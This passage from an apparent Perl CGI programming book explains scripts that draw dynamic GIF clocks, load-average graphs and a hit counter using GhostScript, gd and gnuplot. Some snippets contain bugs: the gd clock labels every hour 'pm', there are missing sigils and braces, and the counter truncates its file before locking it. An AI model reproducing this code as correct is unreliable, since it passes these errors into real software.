The first line of code just sets the $GS variable to the path name of the GhostScript executable. You might need to change this to reflect the correct path on your system. Next, the $| variable is set to 1, a Perl convention that makes the standard output unbuffered. Whenever you're outputting any type of graphics, it's better to unbuffer standard output, so Perl flushes the buffer after every print statement. Unfortunately, this degrades performance slightly because the buffer has to be flushed after every write. But it prevents occasional problems where the image data gets lost or corrupted.

And since we're creating a virtual GIF image, we need to output a MIME content type of image/gif.

($seconds, $minutes, $hour) = localtime (time);
if ($hour > 12) {
        $hour -= 12;
        $ampm = "pm";
} else {
        $ampm = "am";
}
if ($hour == 0) {
        $hour = 12;
}
$time = sprintf ("%02d:%02d:%02d %s", $hour, $minutes, $seconds, $ampm);

This code stores the current time as well as an "A.M." or "P.M." in the $time variable.

$x = 80;
$y = 15;

We set the image dimensions to 80x15 pixels. Horizontally, 80 pixels are enough to display our time string. And vertically, 15 pixels are sufficient to show a 14-point font.

open (GS, "|$GS -sDEVICE=gif8 -sOutputFile=- -q -g${x}x${y} - 2> /dev/null");

We use open to create a pipe (indicated by the "|" character) for output. This is the opposite of what we did in the previous example. Whatever data is written to the GS file handle is sent directly to GhostScript for execution (or interpretation); there is no need to store information in temporary files.

Several command-line options are used to GhostScript. The most important one is sDEVICE, which specifies the driver that GhostScript will use to create the output. Since we want a GIF image, we'll use the gif8 driver, which is packaged with the default GhostScript installation kit. (Warning: Some system administrators don't install all the default drivers, in which case the following program may not work.)

The -sOutputFile option with a value of "-" indicates that the output image data is to be written to standard output. The -q option turns off any informational messages output by GhostScript to standard output. This is very important because the text messages can corrupt the graphic data, as both are normally written to standard output stream. The -g option sets the dimensions for the output image.

The "-" instructs GhostScript to read PostScript data from standard input, because that's where our script is writing the PostScript code to. Finally, any error messages from GhostScript are discarded by redirecting the standard error to a null device, using the shell syntax 2>/dev/null.

print GS <<End_of_PostScript_Code;

This print statement will write the PostScript code below to the file handle GS until it encounters the "End_of_PostScript_Code" string (another example of a "here" document).

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 $x $y
%%EndComments

This is the start of the PostScript code. The first line, starting with %!PS-Adobe-3.0, is very important (it is much like the #! line used at the beginning of Perl scripts). It instructs GhostScript that the input consists of Encapsulated PostScript (EPS) commands. EPS was designed to allow various programs to share and manipulate a single PostScript graphic.

Since EPS was created to share graphic images, the BoundingBox statement in the second line specifies the position and size of the image that will be shared; in this case, the entire image. The EndComments statement ends the header section for the PostScript program.

Before we start examining the main part of our program, let's discuss how PostScript works. PostScript is different from many other programming languages in that it's stack based. What does that mean? If a command needs two arguments, these arguments must be placed "on the stack" before the command is executed. For example, if you want to add two numbers, say 5 and 7, you must place them on the stack first, and then invoke the add operator. The add operator adds the two numbers and places the result back on the stack. Here's the main part of the program:

/Times-Roman findfont 14 scalefont setfont

The operand Times-Roman is first placed on the stack since the findfont operator expects one argument. The scalefont operator also needs one argument (14), and setfont needs two--the font name and the size, which are returned by the findfont and scalefont operators.

/red   {1 0 0 setrgbcolor} def
/black {0 0 0 setrgbcolor} def

We proceed to define the two colors that we'll use in the image: red and black. The setrgbcolor operator needs three operands on the stack: the red, blue, and green indexes (ranging from 0--1) that comprise the color. Red is obtained by setting the red index to the maximum, and leaving the blue and green indices at zero. Black is obtained by setting all three indices to zero.

black clippath fill
0 0 moveto
($time) red show

We use the fill command to fill the clipping region (which represents the entire drawing area) black, in essence creating a black background. The moveto command moves the "cursor" to the origin, which is the lower-left corner in PostScript. The show operator displays the string stored in the Perl variable $time in red.

showpage

Every PostScript program must contain the showpage operator, somewhere near the end. PostScript will not output the image until it sees this operator.

End_of_PostScript_Code
close (GS);
exit(0);

The "End_of_PostScript_Code" string ends the print statement. The GS file handle is closed, and the program exits with a success status (zero).

Figure 6.1 shows how the output of this program will be rendered on a Web browser.

Figure 6.1: PostScript digital clock

[Graphic: Figure 6-1]

Now, how do you go about accessing this program? There are two ways. The first is to open the URL to this CGI program:

http://your.machine/cgi-bin/digital.pl

Or, you can embed this image in another HTML document (either static or dynamic), like so:

<IMG SRC="/cgi-bin/digital.pl">

This second method is very useful as you can include virtual graphics in a static or dynamic HTML document, as you will see in the following section.

Inserting Multiple Dynamic Images

All of the programs we've discussed up to this point returned only one MIME content type. What if you want to create a dynamic HTML document with embedded virtual graphics, animations, and sound. Unfortunately, as of this writing, a CGI program cannot accomplish this task.

The closest we can get to having multiple heterogeneous information in a single document is embedding virtual images in a dynamic HTML document. Here is a simple example:

#!/usr/local/bin/perl
$digital_clock = "/cgi-bin/digital.pl";
print "Content-type: text/html", "\n\n";
print <<End_of_HTML;
.
. (some HTML code)
.
<IMG SRC="$digital_clock">
.
. (some more HTML code)
.
End_of_HTML
exit(0);

When the server executes this CGI program, it returns a dynamic HTML document that consists of the virtual image created by the digital clock program discussed earlier. In other words, the server will execute the digital clock program, and place the output from it into the HTML document.

To reiterate, this technique works only when you are sending a combination of HTML and graphics. If you want to send other data formats concurrently, you'll have to wait until browsers support a special MIME content type that allows you to send more than one data format.

Another Example: System Load Average

The digital clock example presented earlier in the chapter is a very simple example and doesn't use the full power of PostScript. Now, we'll look at an example that uses some of PostScript's powerful drawing operators to create a graph of the system load average:

#!/usr/local/bin/perl
$GS = "/usr/local/bin/gs";
$| = 1;
print "Content-type: image/gif", "\n\n";
$uptime = `/usr/ucb/uptime`;
($load_averages) = ($uptime =~ /average: (.*)$/);
@loads[0..2] = split(/,\s/, $load_averages);

In Perl, the "backtics" (`) allow you to execute a UNIX system command and store its output. In this case, we are storing the output from the uptime command into the variable $uptime. The uptime command returns (among other things) three values representing the load average of the system in the last 5, 10, and 15 minutes (though this may differ among the various UNIX implementations).

I grab the output of uptime, strip it down to the load averages, and place the load averages into an array. Here is the output of a typical uptime command:

  12:26AM  up 1 day,  17:35,  40 users,  load average: 3.55, 3.67, 3.53

A regular expression is used to retrieve data following the word "average:" up until the end of the line. This string, which contains the load averages separated by a comma and a space, is stored in the variable $load_averages. The split operator splits (or separates) the data string on the comma and the space into three values that are stored in the array @loads.

for ($loop=0; $loop <= 2; $loop++) {
        if ($loads[$loop] > 10) {
            $loads[$loop] = 10;
        }
}

This loop iterates through the @loads array and reduces any load average over 10 to exactly 10. This makes it very easy for us to draw the graph. Otherwise, we need to calculate scaling coefficients and scale the graph accordingly.

$x = $y = 175;
open (GS, "|$GS -sDEVICE=gif8 -sOutputFile=- -q -g${x}x${y} - 2> /dev/null");

Through the $x and $y variables, the dimensions of the image are set to 175x175.

print GS <<End_of_PostScript_Code;
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 $x $y
%%EndComments
/black  {0 0 0 setrgbcolor} def
/red    {1 0 0 setrgbcolor} def
/blue   {0 0 1 setrgbcolor} def
/origin {0 dup} def

We use the setrgb operator to set the three colors (black, red, and blue) that we need to draw our image. The variable origin contains two zero values; the dup operator duplicates the top item on the stack. Note, the origin in PostScript is defined to be the lower-left corner of the image.

15 150 moveto
/Times-Roman findfont 16 scalefont setfont
(System Load Average) blue show

The moveto operator moves the "cursor" to point (15, 150). We use a blue Times-Roman 16 point for our title. The show operator displays the text.

30 30 translate

translate is a very powerful operator. It moves (or translates, in mathematical terms) the coordinate axes from (0,0) to the point (30, 30). From here on, when we refer to point (0, 0), it will actually be point (30, 30) in the image. I did this translation to make the mathematics of drawing a figure easier.

1 setlinewidth
origin moveto 105 0 rlineto black stroke
origin moveto 0 105 rlineto black stroke

Now we start to draw a figure showing the load average. We set the line width to be one pixel for all drawing operations. The rlineto operator draws two invisible lines from the origin--actually the point (30,30)--to the specified points. These lines are "painted" with the stroke operator. Since we are drawing a graph, these two lines represent the x and y axes in the graph.

Since a normal line extends from one point to the other, two coordinates are required to draw a line. But, in this case, we use the rlineto operator to specify coordinates relative to the current point (the origin).

origin moveto
0 1 10 {
    10 mul 5 neg exch moveto
    10 0 rlineto blue stroke
} for

The loop shown above draws ten tick marks on the y axis. The for loop works the same as in any other language, with one minor exception. The loop variable (or counter) is placed on the top of the stack each time through the loop. In this case, the loop variable is multiplied by 10 on each iteration through the loop and placed on the stack. Then, a value of negative five is also placed on the stack. The two values on the stack (-5 and the counter multiplied by 10) represent the coordinates where a tick has to be drawn, and are swapped with the exch operator. From those coordinates, we draw a blue horizontal line that is 10 pixels in length.

To summarize, here is a step-by-step breakdown of the code we've just discussed:

  • Move to the coordinates stored in the origin variable

  • Execute the for loop 11 times (from 0 to 10 in increments of 1)

  • Move to coordinates (-5, 10 x loop value)

  • Draw a blue line from the above coordinates (-5, 10 x loop value) to (5, 10 x loop value) for a length of 10 pixels in the horizontal direction and repeat

  • End of loop

Now, let's continue with the program.

origin moveto
0 1 4 {
    25 mul 5 neg moveto
    0 10 rlineto blue stroke
} for

This procedure is nearly the same as the one discussed above, except that we are drawing vertical ticks on the x axis, where each tick mark is separated by 25 pixels (instead of 10), and is 10 pixels in length.

The code below draws five points: the origin, the three load average points, and a point on the x axis itself to "complete" the figure. Then we connect these points to create a filled region that represents the load average over time.

newpath
origin moveto
25 $loads[0] 10 mul lineto
50 $loads[1] 10 mul lineto
75 $loads[2] 10 mul lineto

The newpath operator establishes a new path. A path is used to create closed figures that can then be filled easily with the fill operator. Initially, we use the moveto operator to move to the origin. The load average is scaled by 10 and then used as the y coordinate. The x coordinate is simply incremented in steps of twenty--five-remember, each tick is separated by 25 pixels. Then, we draw a line using these two values. This procedure is repeated for all three load average values.

100 0 lineto
closepath
red fill
showpage
End_of_PostScript_Code

A line is drawn from the last load average coordinate to the point directly on the x axis (100, 0). Finally, to close the figure, we draw a line from (100, 0) to the starting point of the path and fill it with red.

close (GS);
exit(0);

This ends the PostScript section of our script. Back to Perl. The load average graph will look similar to the graph shown in Figure 6.2.

Figure 6.2: Graph of load average

[Graphic: Figure 6-2]

Although it's possible to create graphs in PostScript (as we've just seen), it's much easier and quicker to use other utilities that were developed for the sole purpose of graphing numerical data. Several such utilities along with examples will be discussed later in this chapter.

Final PostScript Example: Analog Clock

The final PostScript example we'll look at creates an analog clock using some of the more powerful PostScript operators. The image created by this program looks much like the one produced by the X Window System program xclock.

#!/usr/local/bin/perl
$GS = "/usr/local/bin/gs";
$| = 1;
print "Content-type: image/gif", "\n\n";
($seconds, $minutes, $hour) = localtime (time);
$x = $y = 150;
open (GS, "|$GS -sDEVICE=gif8 -sOutputFile=- -q -g${x}x${y} - 2> /dev/null");
print GS <<End_of_PostScript_Code;
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 $x $y
%%EndComments

This initialization code is nearly the same in all of our PostScript examples so far, and should be familiar to you.

/max_length     $x def
/line_size      1.5 def
/marker         5 def

We start out by defining a lot of variables that are based on the values stored in the $x and $y variables. We do this so that if you increase the dimensions of the clock, all the objects of the clock (e.g., the minute and second hands) are scaled correctly. An important thing to note is that the x and y dimensions have to be equal for this automatic scaling to work properly.

The max_length variable sets the maximum length (or height, since this is a square clock) of the frame around the clock. The line width, used to draw the various objects, is stored in the line_size variable. The marker represents the length of the ticks (or markers) that represent the twelve hours on the clock.

/origin         {0 dup} def
/center         {max_length 2 div} def
/radius         center def
/hour_segment    {0.50 radius mul} def
/minute_segment  {0.80 radius mul} def

The origin contains the point (0, 0). Notice that whenever a variable declaration contains PostScript operators, we need to enclose the expression in braces. The center x (or y) coordinate of the clock (75, in this case) is stored in center. The radius of the circle that will encompass the entire drawing area is also 75, and is appropriately stored in the radius variable. The hour_segment contains the length of the line that will represent the hour value, which is half (or 50%) of the radius. The minute_segment contains the length of the minute hand, which is 80% of the radius. These are arbitrary values that make the clock look attractive.

/red            {1 0 0 setrgbcolor} def
/green          {0 1 0 setrgbcolor} def
/blue           {0 0 1 setrgbcolor} def
/black          {0 0 0 setrgbcolor} def

We proceed to define four variables to hold the color values for red, green, blue, and black.

/hour_angle {
    $hour $minutes 60 div add 3 sub 30 mul
    neg
} def
/minute_angle {
        $minutes $seconds 60 div add 15 sub 6 mul
        neg
} def

The angle of the hour and minute hands is calculated by the following formulas:

hour angle = ((minutes / 60) + hour - 3) * 30
minute angle = ((seconds / 60) + minutes - 15) * 6

Try to understand these formulas. The derivation is pretty trivial if you know your trigonometry! Now, let's get to the real drawing routines.

center dup translate
black clippath fill
line_size setlinewidth
origin radius 0 360 arc blue stroke

We use the translate operator to move the origin to the coordinate values stored in the variable center (in this case 75, 75). The fill operator fills the entire drawing area black. The setlinewidth operator sets the default line width for all drawing operations to 1.5 pixels. To finish the outline of the clock, we draw a blue circle. In PostScript terminology, we draw an arc from 0 to 360 degrees with the center at the origin and a radius of 75.

gsave
1 1 12 {
        pop
        radius marker sub 0 moveto
        marker 0 rlineto red stroke
        30 rotate
} for
grestore

Here is where the code gets a little complicated. We will discuss the gsave and grestore operators in a moment. Let's first look at the for loop, which draws the marks representing the 12 hours. Here is how it does it:

  • Execute the for loop 12 times (from 1 to 12 in increments of 1)

  • Remove the top value on the stack (or the loop counter) because we have no use for it!

  • Move to the coordinate (radius - marker, 0)

  • Draw a red line from (radius - marker, 0) to (marker, 0)

  • Rotate the x and y axes by 30 degrees and repeat

  • End of loop

The most important aspect of this loop is the rotation of the x and y axes, accomplished by the rotate command. This is one of the more powerful features of PostScript! By rotating the axes, all we have to do is draw straight lines, instead of calculating the coordinates for various angles. The gsave and grestore operators keep the rest of the drawing surface intact while the axes are being moved.

origin moveto
hour_segment hour_angle cos mul
hour_segment hour_angle sin mul
lineto green stroke
origin moveto
minute_segment minute_angle cos mul
minute_segment minute_angle sin mul
lineto green stroke
origin line_size 2 mul 0 360 arc red fill
showpage
End_of_PostScript_Code
close (GS);
exit(0);

These statements are responsible for drawing the actual minute and second hands, as well as a small circle in the middle of the clock. The mathematical formulas to determine the hour angle are:

hour (x coordinate) = cos (hour angle) * hour segment
hour (y coordinate) = sin (hour angle) * hour segment

The same theory is applied in calculating the angle for the second hand. Figure 6.3 shows how the analog clock will be rendered by a Web browser.

Figure 6.3: PostScript analog clock

[Graphic: Figure 6-3]

As you can see from the PostScript examples that were presented, PostScript contains a lot of very powerful operators for creating and manipulating graphic images. However, you need to do a lot of work (and write complex code) to use PostScript effectively. In the next few sections, we will look at several other tools that will allow us to create dynamic images. These tools can't match the power of PostScript, but are easier to use and master.

Previous | Home | Next
Creating Dynamic Home Pages | Book Index | The gd Graphics Library
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.3 The gd Graphics Library

CGI Programming on the World Wide Web

Previous Chapter 6
Hypermedia Documents 		Next

6.3 The gd Graphics Library

The gd graphics library, though not as powerful as PostScript, allows us to quickly and easily create dynamic images. One of the major advantages of this library is that it can be used directly from Perl, Tcl, and C; there is no need to invoke another application to interpret and produce graphic images. As a result, the CGI programs we write will not tax the system anywhere near as those in the previous section (which needed to call GhostScript). Other major advantages of the gd library are the functions that allow you to cut and paste from existing images to create new ones.

The gd library was written by Thomas Boutell for the Quest Protein Database Center of Cold Spring Harbor Labs, and has been ported to Tcl by Spencer Thomas, and to Perl version 5.0 by Lincoln Stein and Roberto Cecchini. There are ports of gd for Perl 4.0 as well, but they are not as elegant, because they require us to communicate through pipes. So, we will use Stein's Perl 5.0 port for the examples in this book.

Appendix E, Applications, Modules, Utilities, and Documentation lists URLs from which you can retrieve the gd libraries for various platforms.

Digital Clock

Here is an example of a digital clock, which is identical to the PostScript version in functionality. However, the manner in which it is implemented is totally different. This program loads the gd graphics library, and uses its functions to create the image.

#!/usr/local/bin/perl5
use GD;
$| = 1;
print "Content-type: image/gif", "\n\n";

In Perl 5.0, external modules, such as gd, can be "included" into a program with the use statement. Once the module is included, the program has full access to the functions within it.

($seconds, $minutes, $hour) = localtime (time);
if ($hour > 12) {
        $hour -= 12;
        $ampm = "pm";
} else {
        $ampm = "pm";
}
if ($hour == 0) {
    $hour = 12;
}
$time = sprintf ("%02d:%02d:%02d %s", $hour, $minutes, $seconds, $ampm);
$time_length = length($time);
$font_length = 8;
$font_height = 16;
$x = $font_length * $time_length;
$y = $font_height;

Unlike the analog clock PostScript example, we will actually calculate the size of the image based on the length of the string stored in the variable $time. The reason we didn't elect to do this in the PostScript version is because Times-Roman is not a constant-width font, and so we would have to do numerous calculations to determine the exact dimensions of our dynamic image. But with gd, there are only a few constant-width fonts, so we can calculate the size of the image rather easily.

We use the length function to determine the length (i.e., the number of characters) of the string stored in $time. The image length is calculated by multiplying the font length with the string length. The font we will use is gdLarge, which is an 8x16 constant-width font.

$image = new GD::Image ($x, $y);

Images are "created" by calling the method Image within the GD class, which creates a new instance of the object. For readers not familiar with object-oriented languages, here is what the statement means:

  • The new keyword causes space to be allocated for the image.

  • The GD is the class, which means what kind of object we're making (it happens to have the same name as the package we loaded with the use statement).

  • Within that class is a function (or method) called Image, which takes two arguments.

Note that the whole statement creating an image ends up returning a handle, which we store in $image. Now, following traditional object-oriented practice, we can call functions that are associated with an object method, which operates on the object. You'll see that below.

The dimensions of the image are passed as arguments to the Image method. An important difference between PostScript and gd with regard to drawing is the location of the origin. In gd, the origin is located in the upper-left corner, compared to the lower-left corner for PostScript.

$black = $image->colorAllocate (0, 0, 0);
$red = $image->colorAllocate (255, 0, 0);

The -> part of the function is another object-oriented idea. When you set a color, you naturally have to specify what you're coloring. In object-oriented programming, $image is the object and you tell that object to execute the method. So $image->colorAllocate is Perl 5.0's way of saying, "color the object denoted by $image." The three arguments that the colorAllocate method expects are the red, blue, and green indices in the range 0--255.

The first color that we allocate automatically becomes the background color. In this case, the image will have a black background.

$image->string (gdLargeFont, 0, 0, $time, $red);
print $image->gif;
exit(0);

The string method displays text at a specific location on the screen with a certain font and color. In our case, the time string is displayed using the red large font at the origin. The most important statement in this entire program is the print statement, which calls the gif method to display the drawing in GIF format to standard output.

You should have noticed some major differences between PostScript and gd. PostScript has to be run through an interpreter to produce GIF output, while gd can be smoothly intermixed with Perl. The origin in PostScript is located in the lower-left corner, while gd's origin is the upper left corner. And most importantly, simple images can be created in gd much more easily than in PostScript; PostScript should be used for creation of complex images only.

System Load Average

The example below graphs the system load average of the system, and is identical to the PostScript version presented earlier in the chapter. As you look at this example, you will notice that gd makes image creation and manipulation very easy.

#!/usr/local/bin/perl5
use GD;
$| = 1;
print "Content-type: image/gif", "\n\n";
$max_length = 175;
$image = new GD::Image ($max_length, $max_length);
$white = $image->colorAllocate (255, 255, 255);
$red = $image->colorAllocate (255, 0, 0);
$blue = $image->colorAllocate (0, 0, 255);

The image is defined to be 175x175 pixels with a white background. We also allocate two other colors, red and blue.

@origin = (30, 140);

This is a two-element array that holds the coordinates for the origin, or lower-left corner, of the graph. Since the natural origin is defined to be the upper-left corner in gd, the point (30, 140) is identical to the (30, 30) origin in the PostScript version. Of course, this is assuming the dimensions of the image are 175x175 pixels.

$image->string (gdLargeFont, 12, 15, "System Load Average", $blue);
$image->line (@origin, 105 + $origin[0], $origin[1], $blue);
$image->line (@origin, $origin[0], $origin[1] - 105, $blue);

We're using the string method to display a blue string "System Load Average" at coordinate (12, 15) using the gdLarge font. We then draw two blue lines, one horizontal and one vertical, from the "origin" whose length is 105 pixels. Notice that a two-element array is passed to the line method, instead of two separate values. The main reason for storing the "origin" in an array is that it is used repeatedly throughout the program. Whenever you use any piece of data multiple times, it is always a good programming technique to store that information in a variable.

for ($y_axis=0; $y_axis <= 100; $y_axis = $y_axis + 10) {
    $image->line (  $origin[0] - 5,
                    $origin[1] - $y_axis,
                    $origin[0] + 5,
                    $origin[1] - $y_axis,
                    $blue  );
}
for ($x_axis=0; $x_axis <= 100; $x_axis = $x_axis + 25) {
    $image->line ( $x_axis + $origin[0],
                   $origin[1] - 5,
                   $x_axis + $origin[0],
                   $origin[1] + 5,
                   $blue );
}

These two for loops draw the tick marks on the y and x axes, respectively. The only difference between these loops and the ones used in the PostScript version of this program is that the origin is used repeatedly when drawing the ticks because gd lacks a function to draw lines relative to the current point (such as rlineto in PostScript).

$uptime = `/usr/ucb/uptime`;
($load_averages) = ($uptime =~ /average: (.*)$/);
@loads[0..2] = split(/,\s/, $load_averages);
for ($loop=0; $loop <= 2; $loop++) {
    if ($loads [$loop]>10) {
        $loads[$loop]=10;
        }
}

We store the system load averages in the @loads array.

$polygon = new GD::Polygon;

An instance of a Polygon object is created to draw a polygon with the vertices representing the three load average values. Drawing a polygon is similar in principle to creating a closed path with several points.

$polygon->addPt (@origin);
for ($loop=1; $loop <= 3; $loop++) {
    $polygon->addPt (    $origin[0] + (25 * $loop),
                        $max_length - ($loads[$loop - 1] * 10)  );
}
$polygon->addPt (100 + $origin[0], $origin[1]);

We use the addPt method to add a point to the polygon. The origin is added as the first point. Then, each load average coordinate is calculated and added to the polygon. To "close" the polygon, we add a final point on the x axis.

$image->filledPolygon ($polygon, $red);
print $image->gif;
exit(0);

The filledPolygon method fills the polygon specified by the $polygon object with solid red. And finally, the entire drawing is printed out to standard output with the gif method.

Analog Clock

Remember how PostScript allows us to rotate the coordinate system? The PostScript version of the analog clock depended on this rotation ability to draw the ticks on the clock. Unfortunately, gd doesn't have functions for performing this type of manipulation. As a result, we use different algorithms in this program to draw the clock.

#!/usr/local/bin/perl5
use GD;
$| = 1;
print "Content-type: image/gif", "\n\n";
$max_length = 150;
$center = $radius = $max_length / 2;
@origin = ($center, $center);
$marker = 5;
$hour_segment = $radius * 0.50;
$minute_segment = $radius * 0.80;
$deg_to_rad = (atan2 (1,1) * 4)/180;
$image = new GD::Image ($max_length, $max_length);

The @origin array contains the coordinates that represent the center of the image. In the PostScript version of this program, we translated (or moved) the origin to be at the center of the image. This is not possible with gd.

$black = $image->colorAllocate (0, 0, 0);
$red = $image->colorAllocate (255, 0, 0);
$green = $image->colorAllocate (0, 255, 0);
$blue = $image->colorAllocate (0, 0, 255);

We create an image with a black background. The image also needs the red, blue, and green colors to draw the various parts of the clock.

($seconds, $minutes, $hour) = localtime (time);
$hour_angle = ($hour + ($minutes / 60) - 3) * 30 * $deg_to_rad;
$minute_angle = ($minutes + ($seconds / 60) - 15) * 6 * $deg_to_rad;
$image->arc (@origin, $max_length, $max_length, 0, 360, $blue);

Using the current time, we calculate the angles for the hour and minute hands of the clock. We use the arc method to draw a blue circle with the center at the "origin" and a diameter of max_length.

for ($loop=0; $loop < 360; $loop = $loop + 30) {
local ($degrees) = $loop * $deg_to_rad;
$image->line ($origin[0] + (($radius - $marker) * cos ($degrees)),
              $origin[1] + (($radius - $marker) * sin ($degrees)),
              $origin[0] + ($radius * cos ($degrees)),
              $origin[1] + ($radius * sin ($degrees)),
              $red);

This loop draws the ticks representing the twelve hours on the clock. Since gd lacks the ability to rotate the axes, we need to calculate the coordinates for these ticks. The basic idea behind the loop is to draw a red line from a point five pixels away from the edge of the circle to the edge.

$image->line ( @origin,
        $origin[0] + ($hour_segment * cos ($hour_angle)),
        $origin[1] + ($hour_segment * sin ($hour_angle)),
                $green  );

$image->line (   @origin,
        $origin[0] + ($minute_segment * cos ($minute_angle)),
        $origin[1] + ($minute_segment * sin ($minute_angle)),
                $green  );

Using the angles that we calculated earlier, we proceed to draw the hour and minute hands with the line method.

$image->arc (@origin, 6, 6, 0, 360, $red);
$image->fill ($origin[0] + 1, $origin[1] + 1, $red);
print $image->gif;
exit(0);

We draw a red circle with a radius of 6 at the center of the image and fill it. Finally, the GIF image is output with the gif method.

Graphic Counter

Now for something different! In the last chapter, we created a counter to display the number of visitors accessing a document. However, that example lacked file locking, and displayed the counter as text value. Now, let's look at the following CGI program that uses the gd graphics library to create a graphic counter. You can include the graphic counter in your HTML document with the <IMG> tag, as described earlier in this chapter.

What is file locking? Perl offers a function called flock, which stands for "file lock," and uses the underlying UNIX call of the same name. You simply call flock and pass the name of the file handle like this:

flock (FILE, 2);

This call grants you the exclusive right to use the file. If another process (such as another instance of your own program) is currently locking the file, your program just waits until the file is free. Once you've got the lock, you can safely do anything you want with the file. When you're finished with the file, issue the following call:

flock (FILE, 8);

Other values are possible besides 2 and 8, but these are the only ones you need. Others are useful when you have lots of processes reading a file and you rarely write to it; it's nice to give multiple processes access so long as nobody is writing.

#!/usr/local/bin/perl5
use GD;
$| = 1;
$webmaster = "shishir\@bu\.edu";
$exclusive_lock = 2;
$unlock_lock = 8;
$counter_file =  "/usr/local/bin/httpd_1.4.2/count.txt";
$no_visitors = 1;

You might wonder why a MIME content type is not output at the start of the program, as it was in all of the previous programs. The reason is that file access errors could occur, in which case an error message (in text or HTML) has to be output.

if (! (-e $counter_file)) {
    if (open (COUNTER, ">" . $counter_file)) {
        flock (COUNTER, $exclusive_lock);
        print COUNTER $no_visitors;
        flock (COUNTER, $unlock_lock);
        close (COUNTER);
        } else {
        &return_error (500, "Counter Error", "Cannot create data file to store counter information.");
}

The -e operator checks to see whether the counter file exists. If the file does not exist, the program will try to create one using the ">" character. If the file cannot be created, we call the return_error subroutine (shown in Chapter 4) to return an error message (subroutines are executed by prefixing an "&" to the subroutine name). However, if a file can be created, the flock command locks the counter file exclusively, so that no other processes can access it. The value stored in $no_visitors (in this case, a value of 1) is written to the file. The file is unlocked, and closed. It is always good practice to close files once you're done with them.

} else {
    if (! ((-r $counter_file) && (-w $counter_file)) ) {
        &return_error (500, "Counter Error",
                "Cannot read or write to the counter data file.");

If the program cannot read or write to the file, we call the return_error subroutine with a specific message.

    } else {
        open (COUNTER, "<" . $counter_file);
        flock (COUNTER, $exclusive_lock);
        $no_visitors = <COUNTER>;
        flock (COUNTER, $unlock_lock);
        close (COUNTER);

If the file exists, and we can read and write to it, the counter file is opened for input (as specified by the "<" symbol). The file is locked, and a line is read using the <COUNTER>notation. Then, we unlock the file and close it.

        $no_visitors++;
        open (COUNTER, ">" . $counter_file);
        flock (COUNTER, $exclusive_lock);
        print COUNTER $no_visitors;
        flock (COUNTER, $unlock_lock);
        close (COUNTER);
    }
}

We increment the counter, open the file for output, and write the new information to the file.

    &graphic_counter();
exit(0);

We call the graphic_counter subroutine and exit. This subroutine creates the image and outputs it to standard output.

This is the end of the program. We will now look at the subroutines. Subroutines should be placed at the end of the main program for clarity.

sub graphic_counter
{
    local ( $count_length, $font_length, $font_height, $distance,
    $border, $image_length, $image_height, $image, $black, $blue, $red,
    $loop, $number, $temp_x);

All the variables used exclusively within this subroutine are defined as local variables. These variables are meaningful only within the subroutine; you can't set or retrieve their values in the rest of the program. They are not available once the subroutine has finished executing. It is not mandatory to define local variables, but it is considered good programming practice.

    $count_length = length ($no_visitors);
    $font_length = 8;
    $font_height = 16;

We use the length function to determine the length of the string that represents the visitor count. This might be slightly confusing if you are used to working with other programming languages, where you can obtain only the length of a string, and not a numerical value. In this case, Perl converts the number to a string automatically and determines the length of that string. This is one of the more powerful features of Perl; strings and numbers can be intermixed without any harmful consequences. This length and the font length and height are used to calculate the size of the image.

    $distance = 3;
    $border = 4;

The $distance variable represents the number of pixels (or distance) from one character to the other in our image, and $border is the sum of the length from the left edge to the first character and from the last character to the right edge. The graphics counter is illustrated in Figure 6.4.

Figure 6.4: Counter with variables marked

[Graphic: Figure 6-4]

Now, let's continue with the rest of the program.

    $image_length = ($count_length * $font_length) +
                    (($count_length - 1) * distance) + $border;
    $image_height = $font_height + $border;
    $image = new GD::Image ($image_length, $image_height);

The length and height of the image are determined taking into account the number of characters that represent the counter, the font length, and the distance between characters and the border. We then create a new image with the calculated dimensions:

    $black = $image->colorAllocate (0, 0, 0);
    $blue = $image->colorAllocate (0, 0, 255);
    $red = $image->colorAllocate (255, 0, 0);
    $image->rectangle (0, 0, $image_length - 1, $image_height - 1, $blue);

The image consists of a black background with red text and blue lines separating the characters. We also draw a blue rectangle around the entire image. To reiterate, the border variable represents the sum of the number of pixels from this rectangle to the characters on both sides of the image.

    for ($loop=0; $loop <= ($count_length - 1); $loop++) {
        $number = substr ($no_visitors, $loop, 1);

This loop iterates through each character of the counter string, prints the character, and draws a line separating each one. Of course, the separating lines will be drawn only if the length of the counter string is more than one--in other words, if the number of visitors is greater than or equal to 10. The substr function returns one character (as specified by the third argument) each time through the loop.

      if ($count_length > 1) {

          $temp_x = ($font_length + $distance) * ($loop + 1);

          $image->line (  $temp_x,
                          0,
                          $temp_x,
                          $image_height,
                          $blue  );
      }

We draw a blue line separating each character. The x coordinate corresponding to the line is calculated using the font length, the character position, and the distance between characters. Basically, we leave enough space to hold a character (that's what $font_length is for) plus the space between characters (that's what $distance is for).

    $image->char ( gdLargeFont,
                 ($border / 2) + ($font_length * $loop) +
                    ($loop * $distance),
                  $distance,
                  $number,
                  $red  );
    }

We use the char method to output each successive character every time through the loop. The x coordinate is calculated using the border, the font length, the character position, and the distance between characters. We could have used the string method to output the character, but since we're dealing with only one character at a time, it is better to use a method created for such a purpose.

    print "Content-type: image/gif", "\n\n";
    print $image->gif;
}

Finally, we output the MIME content type, print the GIF graphic data, and exit.

Previous | Home | Next
CGI Examples with PostScript | Book Index | CGI Examples with gnuplot
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.4 CGI Examples with gnuplot

CGI Programming on the World Wide Web

Previous Chapter 6
Hypermedia Documents 		Next

6.4 CGI Examples with gnuplot

gnuplot is a software application suited for graphing simple numerical information. It has the ability to take raw data and create various types of graphs, including point and line graphs and histograms. Let's take a look at an example that illustrates the ease with which we can produce graphs, especially when compared to PostScript and the gd graphics library.

You can get gnuplot from ftp://prep.ai.mit.edu/pub/gnu/gnuplot-3.5.tar.gz.

Web Server Accesses

The following example plots the number of Web server accesses for every hour as a histogram. The program parses through the server log file, keeping track of the accesses for each hour of the day in an array. The information stored in this array is written to a file in a format that gnuplot can understand. We then call gnuplot to graph the data in the file and output the resulting graphic to a file.

#!/usr/local/bin/perl
$webmaster = "shishir\@bu\.edu";
$gnuplot  = "/usr/local/bin/gnuplot";
$ppmtogif = "/usr/local/bin/pbmplus/ppmtogif";
